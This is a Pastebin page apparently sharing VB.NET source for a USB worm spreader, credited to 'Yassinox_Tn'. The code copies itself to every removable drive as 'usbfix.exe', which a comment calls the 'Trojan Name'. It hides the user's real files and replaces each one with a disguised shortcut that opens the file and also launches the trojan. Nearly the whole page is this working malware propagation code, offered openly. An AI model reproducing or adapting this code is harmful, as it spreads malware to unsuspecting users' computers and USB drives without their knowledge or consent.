Advertisement
YASSINOXTN

VB.NET usb spread (Yassinox_Tn)

Dec 5th, 2014
348
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.49 KB | None | 0 0
  1. Imports System.IO
  2.  
  3. Module spread
  4.     ' By Yassinox_Tn
  5.     ' Thanks For All tunisian Hackers
  6.     ' Njq8 fixed Version
  7.     Dim usbfix As String = "usbfix.exe" ' Trojan Name
  8.     Function clearall()
  9.         Dim usbs As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
  10.         Dim driver() As String = (IO.Directory.GetLogicalDrives)
  11.         For Each usbs In driver
  12.             If usbs.Contains("C:\") = False Then
  13.                 If usbs.Contains("D:\") = False Then
  14.                     File.Delete(usbs + usbfix)
  15.                     Dim usbdir As New DirectoryInfo(usbs)
  16.                     Dim files As FileInfo() = usbdir.GetFiles()
  17.                     Dim fi As FileInfo
  18.                     For Each fi In files
  19.                         Dim filess As String = fi.Name
  20.                         File.SetAttributes(usbs + filess, FileAttributes.Normal)
  21.                         If filess.Contains(".lnk") = True Then
  22.                             File.Delete(usbs + filess)
  23.                         End If
  24.                     Next
  25.                 End If
  26.             End If
  27.  
  28.         Next
  29.     End Function
  30.     Function GetIcon(ByVal ext As String) As String
  31.         Try
  32.             Dim r = Microsoft.Win32.Registry _
  33.             .LocalMachine.OpenSubKey("Software\Classes\", False)
  34.             Dim e As String = r.OpenSubKey(r.OpenSubKey(ext, False) _
  35.             .GetValue("") & "\DefaultIcon\").GetValue("", "")
  36.             If e.Contains(",") = False Then e &= ",0"
  37.             Return e
  38.         Catch ex As Exception
  39.             Return ".exe"
  40.         End Try
  41.     End Function
  42.     Public Function createshortcut(ByVal usbs As String, ByVal filename As String)
  43.         Dim wsh As Object = CreateObject("WScript.Shell")
  44.         wsh = CreateObject("WScript.Shell")
  45.         Dim fileshot = wsh.CreateShortcut(usbs + filename + ".lnk")
  46.         fileshot.TargetPath = "cmd.exe"
  47.         fileshot.Arguments = "/c start " + filename + " &start " + usbfix
  48.         fileshot.IconLocation = GetIcon(IO.Path.GetExtension(filename))
  49.         fileshot.WorkingDirectory = wsh.ExpandEnvironmentStrings(usbs)
  50.         fileshot.Save()
  51.     End Function
  52.     Public Function start(ByVal usbs As String)
  53.         Try
  54.             If usbs.Contains("C:\") = False Then
  55.                 Dim usbdir As New DirectoryInfo(usbs)
  56.                 Dim files As FileInfo() = usbdir.GetFiles()
  57.                 Dim fi As FileInfo
  58.                 For Each fi In files
  59.                     Dim filename As String = fi.Name
  60.                     If filename.Contains(".lnk") = False Then
  61.                         File.SetAttributes(usbs + filename, FileAttributes.Hidden)
  62.                         If filename.Contains(usbfix) = False Then
  63.                             createshortcut(usbs, filename)
  64.                         End If
  65.                     End If
  66.                 Next fi
  67.             End If
  68.  
  69.         Catch
  70.         End Try
  71.     End Function
  72.     Public Function usbspreed()
  73.         Dim usbs As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
  74.         Dim driver() As String = (IO.Directory.GetLogicalDrives)
  75.         For Each usbs In driver
  76.             If usbs.Contains("C:\") = False Then
  77.                 If usbs.Contains("D:\") = False Then
  78.                     If File.Exists(usbs + usbfix) = False Then
  79.                         File.Copy(Application.ExecutablePath, usbs + usbfix)
  80.                     End If
  81.  
  82.                 End If
  83.             End If
  84.             start(usbs)
  85.         Next
  86.     End Function
  87. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement